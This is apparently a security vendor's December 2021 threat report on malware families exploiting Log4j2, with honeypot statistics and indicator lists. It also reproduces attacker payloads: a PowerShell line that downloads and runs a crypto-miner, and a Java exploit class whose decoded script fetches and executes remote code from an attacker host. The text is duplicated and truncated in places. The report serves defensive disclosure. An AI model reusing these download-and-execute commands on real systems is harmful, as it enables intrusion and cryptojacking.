Ten families of malicious samples are spreading using the Log4j2 vulnerability Now
<!--kg-card-begin: markdown--><h2 id="background">Background</h2>
<p>On December 11, 2021, at 8:00 pm, we published a blog disclosing Mirai and Muhstik botnet samples propagating through Log4j2 RCE vulnerability<a href="__GHOST_URL__/threat-alert-log4j-vulnerability-has-been-adopted-by-two-linux-botnets/">[1]</a>。</p>
<p>Over the past 2 days, we have captured samples from other families, and now the list of families has exceeded 10. It looks like the race between the offense and defense has started, and the offense side is wasting no time to jump into the game. Right now there is more data in our queue to be looked at but we think it might help that we can quickly share what we have confirmed to the security community. More updates are to be expected from us, so stay tuned to <a href="__GHOST_URL__/">our blog site</a> or <a href="https://twitter.com/360Netlab">our twitter handle</a>.</p>

Background


On December 11, 2021, at 8:00 pm, we published a blog disclosing Mirai and Muhstik botnet samples propagating through Log4j2 RCE vulnerability[1]。


Over the past 2 days, we have captured samples from other families, and now the list of families has exceeded 10. It looks like the race between the offense and defense has started, and the offense side is wasting no time to jump into the game. Right now there is more data in our queue to be looked at but we think it might help that we can quickly share what we have confirmed to the security community. More updates are to be expected from us, so stay tuned to our blog site or our twitter handle.



Where the scanners|attackers coming from


The following diagram shows the scanners|attackers IP addresses’ geographical distribution that we captured from our honeypot system







Country/region

The top scan destination port is 8081 (Apache Flink) accounted for 31.61%, followed by port 8983 (Apache Solr) accounted for 28.1%, see the chart below





ASNs


We have now captured more than 1050 attack source IPs, mainly from ALPHASTRIKE-RESEARCH, ASMK and DIGITALOCEAN-ASN, accounting for more than 50%, and the overall trend of scanning is as follows.




The scanned source IPs come from various countries around the world, with Germany accounting for the largest percentage, as shown below:




The attack source IP is mainly large network mapping vendor IP, as well as a large number of Tor proxy export node IP




Attack source IP source that came from cloud providers





Sample and Botnet family quick breakdown


At present, we have confirmed a total of 10 different families of malicious samples.



1， Muhstik, DDoS+backdoor


Refer to our previous Threat Alert.[2]。



2， Mirai


Refer to our previous Threat Alert.[3]。



3， DDoS family Elknot


Elknot, also known as BillGates, a very long live and active ddos botnet which targeted Linux systems and was later ported to the Windows platform[4]。

Now we see Elknot setting its foot on both platforms for this vulnerability, and sharing the same C2


The sample information of elknot.ELF


URL=http://155.94.154.170/aaa
MD5=ded558217c327d8f5c3f8b36118380ab

URL=http://155.94.154.170/log4j
MD5=ded558217c327d8f5c3f8b36118380ab



The sample information of elknot.PE


URL=http://154.82.110.5:1234/win.exe
MD5=36796319567f5a05571006b874903e87



C2 are 300gsyn.it:25009



4， mining family m8220


A relative unknown mining botnet targets both Linux and window systems, we spot a variant that adopts this vulnerability,


url= http://205.185.113.59:1234/xmss
MD5=75bc0d4022b20fae1f5610109691184e



And the following is the extracted malicious URL information.


http://agent.apacheorg.top:1234/xmss 
http://205.185.113.59:1234/.rsyslogds
http://205.185.113.59:1234/.inis
http://205.185.113.59:1234/xms




5， SitesLoader


SitesLoader gets active recently, and it jumped on the Log4j wagon. sample information:


URL=http://185.250.148.157:8005/acc
MD5=933568969efe6b3f8c0621200f0eea5a



Eventually a stage 2 ELF file will be downloaded.


URL=http://185.250.148.157:8005/index
MD5=720a3a92e72054dc8d58e229c22bb892
C2="https://sites.google.com/view/maintest01"




6， xmrig.pe


It actually shares the same exploit with the aforementioned muhstik, and the entry exploit corresponds to a java class.


URL=http://31.220.58.29/Exploit.class
MD5=f6e51ea341570c6e9e4c97aee082822b



It can attack both Linux and Windows machines, and the part for Linux is our aforementioned muhstik variant, with the following entry sample information.


URL=http://18.228.7.109/.log/log
MD5=1e051111c4cf327775dc3bab4df4bf85	



The entry sample information for the Windows platform is as follows.


URL=http://172.105.241.146:80/wp-content/themes/twentysixteen/s.cmd
MD5=bf6935865f63c32c0530a61da9b85d53



It points to a Powershell script, the core of which is to download an xmrig program and run.


powershell -w hidden -c (new-object System.Net.WebClient).DownloadFile('http://54.210.230.186:80/wp-content/themes/twentyfourteen/xmrig.exe','xmrig.exe')
xmrig.exe -o pool.supportxmr.com:5555 -u 46QBumovWy4dLJ4R8wq8JwhHKWMhCaDyNDEzvxHFmAHn92EyKrttq6LfV6if5UYDAyCzh3egWXMhnfJJrEhWkMzqTPzGzsE -p log



You can see that the pool and wallet addresses are hard-coded in the command line.



7， xmrig.ELF


When it runs, a bash script and an xmrig.tar.gz will be downloaded, the former being responsible for unpacking the latter and starting xmrig. The sample message is as follows


fseen=2021-12-11 23:45:56	
URL=http://129.226.180.53/xmrig_setup/raw/master/xmrig.tar.gz

URL=http://170.178.196.41:8080/UKTPAnRvns
MD5=84c2ccc2f2a4d4fe71249bad63252f32

Linux/Shellcode.CZ	ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, corrupted section header size




10， Unknown PE family


The basic information of the entry sample is as follows.


URL=http://141.98.83.139:9883/exp.class
md5=5b30284b34dcc1912326812c7d2ea723



It is a java class with the following contents.


public class exp
{

    public exp()
    {
    }

    static
    {
        try
        {
            String as[] = {
                "cmd", "/c", "powershell", "-exec", "bypass", "-w", "hidden", "-e", "WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJABhAGUAQwA9AG4AZQB3AC0AbwBiAGoAZQBjAHQAIABuAGUAdAAuAHcAZQBiAGMAbABpAGUAbgB0ADsAaQBmACgAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUAByAG8AeAB5AF0AOgA6AEcAZQB0AEQAZQBmAGEAdQBsAHQAUAByAG8AeAB5ACgAKQAuAGEAZABkAHIAZQBzAHMAIAAtAG4AZQAgACQAbgB1AGwAbAApAHsAJABhAGUAQwAuAHAAcgBvAHgAeQA9AFsATgBlAHQALgBXAGUAYgBSAGUAcQB1AGUAcwB0AF0AOgA6AEcAZQB0AFMAeQBzAHQAZQBtAFcAZQBiAFAAcgBvAHgAeQAoACkAOwAkAGEAZQBDAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA0ADEALgA5ADgALgA4ADMALgAxADMAOQA6ADEAOAAwADgAMAAvAG4ARwA2ADAAawAxAC8AUgBXAGoAeABGAHcAeABDAEIARQAnACkAKQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA0ADEALgA5ADgALgA4ADMALgAxADMAOQA6ADEAOAAwADgAMAAvAG4ARwA2ADAAawAxACcAKQApADsA"
            };
            Runtime.getRuntime().exec(as).waitFor();
        }
        catch(Exception exception)
        {
            exception.printStackTrace();
        }
    }
}



We can see that it will call powershell to decode a base64 string, in fact, this string needs to be decoded three times to get the final payload, corresponding to a piece of powershell script.


[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;$aeC=new-object net.webclient;if([System.Net.WebProxy]::GetDefaultProxy().address -ne $null){$aeC.proxy=[Net.WebRequest]::GetSystemWebProxy();$aeC.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;};IEX ((new-object Net.WebClient).DownloadString('http://141.98.83.139:18080/nG60k1/RWjxFwxCBE'));IEX ((new-object Net.WebClient).DownloadString('http://141.98.83.139:18080/nG60k1'));



It contains the following 2 URLs.


http://141.98.83.139:18080/nG60k1/RWjxFwxCBE
http://141.98.83.139:18080/nG60k1



Unfortunately, both URLs canot be downloaded now, so no family information can be provided here.

{"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"## Background\nOn December 11, 2021, at 8:00 pm, we published a blog disclosing Mirai and Muhstik botnet samples propagating through Log4j2 RCE vulnerability[[1]](__GHOST_URL__/threat-alert-log4j-vulnerability-has-been-adopted-by-two-linux-botnets/)。\n\nOver the past 2 days, we have captured samples from other families, and now the list of families has exceeded 10. It looks like the race between the offense and defense has started, and the offense side is wasting no time to jump into the game. Right now there is more data in our queue to be looked at but we think it might help that we can quickly share what we have confirmed to the security community. More updates are to be expected from us, so stay tuned to [our blog site](__GHOST_URL__/) or [our twitter handle](https://twitter.com/360Netlab).\n\n## Where the scanners|attackers coming from\nThe following diagram shows the scanners|attackers IP addresses’ geographical distribution that we captured from our honeypot system\n<a href=\"__GHOST_URL__/content/images/2021/12/log4j2_source_ip.png\"><img src=\"__GHOST_URL__/content/images/2021/12/log4j2_source_ip.png\" class=\"kg-image\"/></a>\n\n| Country/region        | Count   |\n| --------------- | ---- |\n| Germany         | 271  |\n| The Netherlands | 143  |\n| China           | 134  |\n| United States   | 123  |\n| United Kingdom  | 29   |\n| Canada          | 27   |\n| Singapore       | 23   |\n| India           | 22   |\n| Japan           | 15   |\n| Russia          | 12   |\n\n\nThe top scan destination port is 8081 (Apache Flink) accounted for 31.61%, followed by port 8983 (Apache Solr) accounted for 28.1%, see the chart below\n<a href=\"__GHOST_URL__/content/images/2021/12/log4j2_ports.png\"><img src=\"__GHOST_URL__/content/images/2021/12/log4j2_ports.png\" class=\"kg-image\"/></a>\n\n\n## ASNs\nWe have now captured more than 1050 attack source IPs, mainly from ALPHASTRIKE-RESEARCH, ASMK and DIGITALOCEAN-ASN, accounting for more than 50%, and the overall trend of scanning is as follows.\n<a href=\"__GHOST_URL__/content/images/2021/12/log4j2_asn.png\"><img src=\"__GHOST_URL__/content/images/2021/12/log4j2_asn.png\" class=\"kg-image\"/></a>\n\nThe scanned source IPs come from various countries around the world, with Germany accounting for the largest percentage, as shown below:\n<a href=\"__GHOST_URL__/content/images/2021/12/log4j2_country.png\"><img src=\"__GHOST_URL__/content/images/2021/12/log4j2_country.png\" class=\"kg-image\"/></a>\n\nThe attack source IP is mainly large network mapping vendor IP, as well as a large number of Tor proxy export node IP\n<a href=\"__GHOST_URL__/content/images/2021/12/log4j2_actor.png\"><img src=\"__GHOST_URL__/content/images/2021/12/log4j2_actor.png\" class=\"kg-image\"/></a>\n\nAttack source IP source that came from cloud providers\n<a href=\"__GHOST_URL__/content/images/2021/12/log4j2_cloud_vendor.png\"><img src=\"__GHOST_URL__/content/images/2021/12/log4j2_cloud_vendor.png\" class=\"kg-image\"/></a>\n\n\n## Sample and Botnet family quick breakdown\n\nAt present, we have confirmed a total of 10 different families of malicious samples.\n### 1， Muhstik, DDoS+backdoor\nRefer to our previous Threat Alert.[[2]](__GHOST_URL__/threat-alert-log4j-vulnerability-has-been-adopted-by-two-linux-botnets/)。\n\n## 2， Mirai \nRefer to our previous Threat Alert.[[3]](__GHOST_URL__/threat-alert-log4j-vulnerability-has-been-adopted-by-two-linux-botnets/)。\n\n## 3， DDoS family Elknot\nElknot, also known as BillGates, a very long live and active ddos botnet which targeted Linux systems and was later ported to the Windows platform[[4]](https://thisissecurity.stormshield.com/2015/09/30/when-elf-billgates-met-windows/)。\nNow we see Elknot setting its foot on both platforms for this vulnerability, and sharing the same C2\n\nThe sample information of elknot.ELF\n```\nURL=http://155.94.154.170/aaa\nMD5=ded558217c327d8f5c3f8b36118380ab\n\nURL=http://155.94.154.170/log4j\nMD5=ded558217c327d8f5c3f8b36118380ab\n```\n\nThe sample information of elknot.PE\n```\nURL=http://154.82.110.5:1234/win.exe\nMD5=36796319567f5a05571006b874903e87\n```\n\nC2 are ```300gsyn.it:25009```\n\n## 4， mining family m8220\nA relative unknown mining botnet targets both Linux and window systems, we spot a variant that adopts this vulnerability,\n```\nurl= http://205.185.113.59:1234/xmss\nMD5=75bc0d4022b20fae1f5610109691184e\n```\n\nAnd the following is the extracted malicious URL information.\n```\nhttp://agent.apacheorg.top:1234/xmss \nhttp://205.185.113.59:1234/.rsyslogds\nhttp://205.185.113.59:1234/.inis\nhttp://205.185.113.59:1234/xms\n```\n\n## 5， SitesLoader\nSitesLoader gets active recently, and it jumped on the Log4j wagon. sample information:\n```\nURL=http://185.250.148.157:8005/acc\nMD5=933568969efe6b3f8c0621200f0eea5a\n```\n\nEventually a stage 2 ELF file will be downloaded.\n```\nURL=http://185.250.148.157:8005/index\nMD5=720a3a92e72054dc8d58e229c22bb892\nC2=\"https://sites.google.com/view/maintest01\"\n```\n\n## 6， xmrig.pe\nIt actually shares the same exploit with the aforementioned muhstik, and the entry exploit corresponds to a java class.\n```\nURL=http://31.220.58.29/Exploit.class\nMD5=f6e51ea341570c6e9e4c97aee082822b\n```\n\nIt can attack both Linux and Windows machines, and the part for Linux is our aforementioned muhstik variant, with the following entry sample information.\n```\nURL=http://18.228.7.109/.log/log\nMD5=1e051111c4cf327775dc3bab4df4bf85\t\n```\n\nThe entry sample information for the Windows platform is as follows.\n```\nURL=http://172.105.241.146:80/wp-content/themes/twentysixteen/s.cmd\nMD5=bf6935865f63c32c0530a61da9b85d53\n```\n\nIt points to a Powershell script, the core of which is to download an xmrig program and run.\n```\npowershell -w hidden -c (new-object System.Net.WebClient).DownloadFile('http://54.210.230.186:80/wp-content/themes/twentyfourteen/xmrig.exe','xmrig.exe')\nxmrig.exe -o

in the command line.\n\n## 7， xmrig.ELF\nWhen it runs, a bash script and an xmrig.tar.gz will be downloaded, the former being responsible for unpacking the latter and starting xmrig. The sample message is as follows\n```\nfseen=2021-12-11 23:45:56\t\nURL=http://129.226.180.53/xmrig_setup/raw/master/xmrig.tar.gz\nMD5=64808f03e967d15a7907c41fa0d34e89\n\nfseen=2021-12-11

can see that it will call powershell to decode a base64 string, in fact, this string needs to be decoded three times to get the final payload, corresponding to a piece of powershell script.\n```\n[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;$aeC=new-object net.webclient;if([System.Net.WebProxy]::GetDefaultProxy().address -ne
